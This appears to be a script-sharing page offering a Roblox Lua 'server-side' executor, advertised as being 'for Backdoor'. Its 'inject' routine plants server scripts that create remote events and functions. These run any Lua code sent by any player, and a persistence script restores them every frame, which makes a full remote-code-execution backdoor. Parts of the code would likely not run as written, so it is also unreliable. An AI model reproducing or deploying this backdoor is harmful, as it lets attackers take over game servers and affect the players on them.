
Key Required
StarDark ServerSide Remake
Lua Script•602 lines (22576 chars)
local StarDark = {}
StarDark.__index = StarDark
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local CoreGui = game:GetService("CoreGui")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerScriptService = game:GetService("ServerScriptService")
local UserInputService = game:GetService("UserInputService")
local TextService = game:GetService("TextService")
function StarDark.new()
local self = setmetatable({}, StarDark)
self.Gui = Instance.new("ScreenGui")
self.Gui.Parent = CoreGui
self.Gui.Name = "StarDarkGUI"
self.Gui.ResetOnSpawn = false
self.Frame = Instance.new("Frame")
self.Frame.Parent = self.Gui
self.Frame.Size = UDim2.new(0, 600, 0, 450)
self.Frame.Position = UDim2.new(0.5, -300, 0.5, -225)
self.Frame.BackgroundColor3 = Color3.fromRGB(200, 200, 200)
self.Frame.BorderSizePixel = 0
self.Frame.BackgroundTransparency = 0
local corner = Instance.new("UICorner")
corner.Parent = self.Frame
corner.CornerRadius = UDim.new(0, 0)
self.DragBar = Instance.new("Frame")
self.DragBar.Parent = self.Frame
self.DragBar.Size = UDim2.new(1, 0, 0.08, 0)
self.DragBar.Position = UDim2.new(0, 0, 0, 0)
self.DragBar.BackgroundColor3 = Color3.fromRGB(150, 150, 150)
self.DragBar.BackgroundTransparency = 0
self.DragBar.BorderSizePixel = 0
local dragCorner = Instance.new("UICorner")
dragCorner.Parent = self.DragBar
dragCorner.CornerRadius = UDim.new(0, 0)
self.Title = Instance.new("TextLabel")
self.Title.Parent = self.DragBar
self.Title.Size = UDim2.new(0.6, 0, 1, 0)
self.Title.Position = UDim2.new(0.02, 0, 0, 0)
self.Title.BackgroundTransparency = 1
self.Title.TextColor3 = Color3.fromRGB(255, 255, 255)
self.Title.Text = "StarDark"
self.Title.Font = Enum.Font.SourceSansBold
self.Title.TextSize = 22
self.Title.TextXAlignment = Enum.TextXAlignment.Left
self.InjectBtn = Instance.new("TextButton")
self.InjectBtn.Parent = self.DragBar
self.InjectBtn.Size = UDim2.new(0, 100, 0, 30)
self.InjectBtn.Position = UDim2.new(1, -110, 0.5, -15)
self.InjectBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
self.InjectBtn.TextColor3 = Color3.fromRGB(0, 0, 0)
self.InjectBtn.Text = "inject"
self.InjectBtn.Font = Enum.Font.SourceSansBold
self.InjectBtn.TextSize = 18
self.InjectBtn.Visible = true
self.InjectBtn.BorderSizePixel = 1
local injCorner = Instance.new("UICorner")
injCorner.Parent = self.InjectBtn
injCorner.CornerRadius = UDim.new(0, 0)
self.CloseBtn = Instance.new("TextButton")
self.CloseBtn.Parent = self.DragBar
self.CloseBtn.Size = UDim2.new(0, 30, 0, 30)
self.CloseBtn.Position = UDim2.new(1, -35, 0.5, -15)
self.CloseBtn.BackgroundColor3 = Color3.fromRGB(150, 150, 150)
self.CloseBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
self.CloseBtn.Text = ""
self.CloseBtn.Font = Enum.Font.SourceSansBold
self.CloseBtn.TextSize = 16
self.CloseBtn.Visible = false
self.CloseBtn.BorderSizePixel = 0
local closeCorner = Instance.new("UICorner")
closeCorner.Parent = self.CloseBtn
closeCorner.CornerRadius = UDim.new(0, 0)
self.MinimizeBtn = Instance.new("TextButton")
self.MinimizeBtn.Parent = self.DragBar
self.MinimizeBtn.Size = UDim2.new(0, 30, 0, 30)
self.MinimizeBtn.Position = UDim2.new(1, -70, 0.5, -15)
self.MinimizeBtn.BackgroundColor3 = Color3.fromRGB(150, 150, 150)
self.MinimizeBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
self.MinimizeBtn.Text = ""
self.MinimizeBtn.Font = Enum.Font.SourceSansBold
self.MinimizeBtn.TextSize = 16
self.MinimizeBtn.Visible = false
self.MinimizeBtn.BorderSizePixel = 0
local minCorner = Instance.new("UICorner")
minCorner.Parent = self.MinimizeBtn
minCorner.CornerRadius = UDim.new(0, 0)
self.TextBoxScrollingFrame = Instance.new("ScrollingFrame")
self.TextBoxScrollingFrame.Parent = self.Frame
self.TextBoxScrollingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
self.TextBoxScrollingFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
self.TextBoxScrollingFrame.BorderSizePixel = 0
self.TextBoxScrollingFrame.Position = UDim2.new(0.04, 0, 0.12, 0)
self.TextBoxScrollingFrame.Size = UDim2.new(0.92, 0, 0.65, 0)
self.TextBoxScrollingFrame.ScrollBarThickness = 4
self.TextBoxScrollingFrame.VerticalScrollBarInset = Enum.ScrollBarInset.Always
self.TextBoxScrollingFrame.AutomaticCanvasSize = Enum.AutomaticSize.None
local sfCorner = Instance.new("UICorner")
sfCorner.Parent = self.TextBoxScrollingFrame
sfCorner.CornerRadius = UDim.new(0, 0)
local UIListLayout = Instance.new("UIListLayout")
UIListLayout.Parent = self.TextBoxScrollingFrame
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
self.TextBox = Instance.new("TextBox")
self.TextBox.Parent = self.TextBoxScrollingFrame
self.TextBox.Size = UDim2.new(1, -4, 0, 292)
self.TextBox.AutomaticSize = Enum.AutomaticSize.None
self.TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
self.TextBox.BackgroundTransparency = 1
self.TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
self.TextBox.Text = "StarDark remake by @LegendHax"
self.TextBox.MultiLine = true
self.TextBox.Font = Enum.Font.Code
self.TextBox.TextSize = 14
self.TextBox.TextXAlignment = Enum.TextXAlignment.Left
self.TextBox.TextYAlignment = Enum.TextYAlignment.Top
self.TextBox.PlaceholderText = ""
self.TextBox.ClearTextOnFocus = false
self.TextBox.TextWrapped = true
local function forceTextScroll()
local maxWidth = self.TextBoxScrollingFrame.AbsoluteSize.X - self.TextBoxScrollingFrame.ScrollBarThickness - 10
if maxWidth <= 0 then maxWidth = 400 end
local stringSize = TextService:GetTextSize(
self.TextBox.Text,
self.TextBox.TextSize,
self.TextBox.Font,
Vector2.new(maxWidth, math.huge)
)
local finalHeight = math.max(stringSize.Y + 20, 292)
self.TextBox.Size = UDim2.new(1, -4, 0, finalHeight)
self.TextBoxScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, finalHeight)
end
self.TextBox:GetPropertyChangedSignal("Text"):Connect(forceTextScroll)
self.TextBoxScrollingFrame:GetPropertyChangedSignal("AbsoluteSize"):Connect(forceTextScroll)
task.defer(forceTextScroll)
self.ExecuteBtn = Instance.new("TextButton")
self.ExecuteBtn.Parent = self.Frame
self.ExecuteBtn.Size = UDim2.new(0.44, 0, 0.15, 0)
self.ExecuteBtn.Position = UDim2.new(0.04, 0, 0.81, 0)
self.ExecuteBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
self.ExecuteBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
self.ExecuteBtn.Text = "Execute"
self.ExecuteBtn.Font = Enum.Font.SourceSansBold
self.ExecuteBtn.TextSize = 22
local execCorner = Instance.new("UICorner")
execCorner.Parent = self.ExecuteBtn
execCorner.CornerRadius = UDim.new(0, 0)
self.ClearBtn = Instance.new("TextButton")
self.ClearBtn.Parent = self.Frame
self.ClearBtn.Size = UDim2.new(0.44, 0, 0.15, 0)
self.ClearBtn.Position = UDim2.new(0.52, 0, 0.81, 0)
self.ClearBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
self.ClearBtn.TextColor3 = Color3.fromRGB(0, 0, 0)
self.ClearBtn.Text = "clean"
self.ClearBtn.Font = Enum.Font.SourceSansBold
self.ClearBtn.TextSize = 22
local clearCorner = Instance.new("UICorner")
clearCorner.Parent = self.ClearBtn
clearCorner.CornerRadius = UDim.new(0, 0)
self.StatusLabel = Instance.new("TextLabel")
self.StatusLabel.Parent = self.Frame
self.StatusLabel.Size = UDim2.new(0.92, 0, 0.08, 0)
self.StatusLabel.Position = UDim2.new(0.04, 0, 0.8, 0)
self.StatusLabel.BackgroundTransparency = 1
self.StatusLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
self.StatusLabel.Text = ""
self.StatusLabel.Font = Enum.Font.SourceSans
self.StatusLabel.TextSize = 14
self.StatusLabel.TextXAlignment = Enum.TextXAlignment.Left
self.StatusLabel.Visible = false
self.InfoLabel = Instance.new("TextLabel")
self.InfoLabel.Parent = self.Frame
self.InfoLabel.Size = UDim2.new(0.92, 0, 0.08, 0)
self.InfoLabel.Position = UDim2.new(0.04, 0, 0.9, 0)
self.InfoLabel.BackgroundTransparency = 1
self.InfoLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
self.InfoLabel.Text = ""
self.InfoLabel.Font = Enum.Font.SourceSans
self.InfoLabel.TextSize = 12
self.InfoLabel.TextXAlignment = Enum.TextXAlignment.Left
self.InfoLabel.Visible = false
self:SetupDragging()
self.CloseBtn.MouseButton1Click:Connect(function()
self.Gui.Enabled = false
end)
self.MinimizeBtn.MouseButton1Click:Connect(function()
self.TextBoxScrollingFrame.Visible = not self.TextBoxScrollingFrame.Visible
self.ExecuteBtn.Visible = self.TextBoxScrollingFrame.Visible
self.ClearBtn.Visible = self.TextBoxScrollingFrame.Visible
self.StatusLabel.Visible = false
self.InfoLabel.Visible = false
if self.TextBoxScrollingFrame.Visible then
self.Frame.Size = UDim2.new(0, 600, 0, 450)
else
self.Frame.Size = UDim2.new(0, 600, 0, 45)
end
end)
self.ExecuteBtn.MouseButton1Click:Connect(function()
self:ExecuteCode()
end)
self.InjectBtn.MouseButton1Click:Connect(function()
self:InjectBackdoor()
end)
self.ClearBtn.MouseButton1Click:Connect(function()
self.TextBox.Text = ""
end)
self:UpdateInfo()
RunService.Heartbeat:Connect(function()
self:UpdateInfo()
end)
return self
end
function StarDark:SetupDragging()
local dragging = false
local dragInput, dragStart, startPos
self.DragBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = self.Frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
self.DragBar.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
local delta = input.Position - dragStart
self.Frame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
end)
end
function StarDark:UpdateInfo()
local count = #Players:GetPlayers()
end
function StarDark:ExecuteCode()
local code = self.TextBox.Text
if code == "" then
return
end
local success, err = pcall(function()
local env = getfenv()
env.Players = Players
env.Workspace = game:GetService("Workspace")
env.HttpService = HttpService
env.ReplicatedStorage = ReplicatedStorage
env.ServerScriptService = ServerScriptService
env.RunService = RunService
env.game = game
env._G = _G
env.getfenv = getfenv
env.setfenv = setfenv
env.table = table
env.pcall = pcall
env.loadstring = loadstring
env.print = print
env.warn = warn
env.error = error
env.tick = tick
env.time = time
env.wait = wait
env.spawn = spawn
env.ypcall = function(f, ...)
return pcall(f, ...)
end
local func, compileErr = loadstring(code, "StarDark_SS")
if not func then
error(compileErr)
end
setfenv(func, env)
local results = {func()}
end)
end
function StarDark:InjectBackdoor()
local function createSSBackdoor()
local backdoorScript = Instance.new("Script")
backdoorScript.Name = "StarDark_SS_Backdoor"
backdoorScript.Parent = ServerScriptService
local code = [[
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local remoteEvent = Instance.new("RemoteEvent")
remoteEvent.Name = "StarDark_SS_Remote"
remoteEvent.Parent = ReplicatedStorage
local remoteFunction = Instance.new("RemoteFunction")
remoteFunction.Name = "StarDark_SS_Function"
remoteFunction.Parent = ReplicatedStorage
local function executeSS(code, executor)
local env = getfenv()
env.Players = Players
env.Workspace = game:GetService("Workspace")
env.HttpService = HttpService
env.ReplicatedStorage = ReplicatedStorage
env.ServerScriptService = ServerScriptService
env.RunService = RunService
env.game = game
env._G = _G
env.getfenv = getfenv
env.setfenv = setfenv
env.table = table
env.pcall = pcall
env.loadstring = loadstring
env.print = print
env.warn = warn
env.error = error
env.tick = tick
env.time = time
env.wait = wait
env.spawn = spawn
local func, err = loadstring(code, "StarDark_SS_Injected")
if not func then
return "Compile Error: " .. tostring(err)
end
setfenv(func, env)
local success, result = pcall(func)
if success then
return "Success" .. (result and ": " .. tostring(result) or "")
else
return "Runtime Error: " .. tostring(result)
end
end
remoteEvent.OnServerEvent:Connect(function(player, code)
if not code or type(code) ~= "string" then return end
local result = executeSS(code, player)
remoteEvent:FireClient(player, result)
end)
remoteFunction.OnServerInvoke = function(player, code)
if not code or type(code) ~= "string" then return "Invalid code" end
return executeSS(code, player)
end
local function globalSS(code)
local func, err = loadstring(code, "StarDark_Global")
if func then
setfenv(func, getfenv())
return pcall(func)
end
return false, err
end
_G.StarDark_ExecuteSS = function(code)
return globalSS(code)
end
_G.StarDark_GetPlayers = function()
return Players:GetPlayers()
end
for _, player in ipairs(Players:GetPlayers()) do
local cloneRemote = remoteEvent:Clone()
cloneRemote.Parent = player
end
Players.PlayerAdded:Connect(function(player)
local cloneRemote = remoteEvent:Clone()
cloneRemote.Parent = player
end)
]]
backdoorScript.Source = code
backdoorScript.Disabled = false
end
local function createClientInjection()
for _, player in ipairs(Players:GetPlayers()) do
if player ~= Players.LocalPlayer then
local remote = Instance.new("RemoteEvent")
remote.Name = "StarDark_Injector"
remote.Parent = player
remote.OnServerEvent:Connect(function(plr, code)
if not code or type(code) ~= "string" then return end
local env = getfenv()
env.Players = Players
env.Workspace = game:GetService("Workspace")
env.HttpService = HttpService
env.getfenv = getfenv
env.setfenv = setfenv
env.table = table
env.pcall = pcall
env.loadstring = loadstring
local func, err = loadstring(code, "StarDark_ClientInject")
if func then
setfenv(func, env)
pcall(func)
end
end)
end
end
end
local function hookWorkspace()
local ws = game:GetService("Workspace")
local oldFind = ws.FindFirstChild
ws.FindFirstChild = function(self, name, recursive)
if name == "StarDark_SS" then
return oldFind(self, "StarDark_SS", recursive)
end
return oldFind(self, name, recursive)
end
end
local function createExecutionBridge()
local bridge = Instance.new("RemoteEvent")
bridge.Name = "StarDark_Bridge"
bridge.Parent = ReplicatedStorage
bridge.OnServerEvent:Connect(function(player, code, mode)
if mode == "ss" then
local env = getfenv()
env.Players = Players
env.Workspace = game:GetService("Workspace")
env.HttpService = HttpService
env.ReplicatedStorage = ReplicatedStorage
env.getfenv = getfenv
env.setfenv = setfenv
env.table = table
env.pcall = pcall
env.loadstring = loadstring
local func, err = loadstring(code, "StarDark_Bridge")
if func then
setfenv(func, env)
local success, result = pcall(func)
if success then
bridge:FireClient(player, "SS Executed: " .. tostring(result or "nil"))
else
bridge:FireClient(player, "SS Error: " .. tostring(result))
end
else
bridge:FireClient(player, "SS Compile Error: " .. tostring(err))
end
end
end)
end
local function deployPersistence()
local persistence = Instance.new("Script")
persistence.Name = "StarDark_Persistence"
persistence.Parent = ServerScriptService
local code = [[
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local function findAndRestore()
local remote = ReplicatedStorage:FindFirstChild("StarDark_SS_Remote")
if not remote then
local newRemote = Instance.new("RemoteEvent")
newRemote.Name = "StarDark_SS_Remote"
newRemote.Parent = ReplicatedStorage
newRemote.OnServerEvent:Connect(function(player, code)
if type(code) == "string" then
local func, err = loadstring(code)
if func then
setfenv(func, getfenv())
pcall(func)
end
end
end)
end
local rfunc = ReplicatedStorage:FindFirstChild("StarDark_SS_Function")
if not rfunc then
local newFunc = Instance.new("RemoteFunction")
newFunc.Name = "StarDark_SS_Function"
newFunc.Parent = ReplicatedStorage
newFunc.OnServerInvoke = function(player, code)
if type(code) == "string" then
local func, err = loadstring(code)
if func then
setfenv(func, getfenv())
return pcall(func)
end
end
return false, "Invalid"
end
end
end
findAndRestore()
game:GetService("RunService").Heartbeat:Connect(findAndRestore)
]]
persistence.Source = code
persistence.Disabled = false
end
createSSBackdoor()
createClientInjection()
hookWorkspace()
createExecutionBridge()
deployPersistence()
local function executeGlobalSS()
local env = getfenv()
env.Players = Players
env.Workspace = game:GetService("Workspace")
env.HttpService = HttpService
env.ReplicatedStorage = ReplicatedStorage
env.ServerScriptService = ServerScriptService
env.RunService = RunService
env.game = game
env._G = _G
env.getfenv = getfenv
env.setfenv = setfenv
env.table = table
env.pcall = pcall
env.loadstring = loadstring
_G.StarDark_ServerExecute = function(code)
local func, err = loadstring(code, "StarDark_Global")
if not func then
return false, err
end
setfenv(func, env)
return pcall(func)
end
_G.StarDark_GetAllPlayers = function()
return Players:GetPlayers()
end
_G.StarDark_GetPlayers = Players.GetPlayers
end
executeGlobalSS()
end
local gui = StarDark.new()
_G.StarDark = guiFeatures & Information
StarDark serverside remake for Backdoor

Still don't believe it? Try going to an AI and typing: "What script is this?" https://scriptblox.com/script/VR-Destruction-RP-StarDark-ServerSide-Remake-226789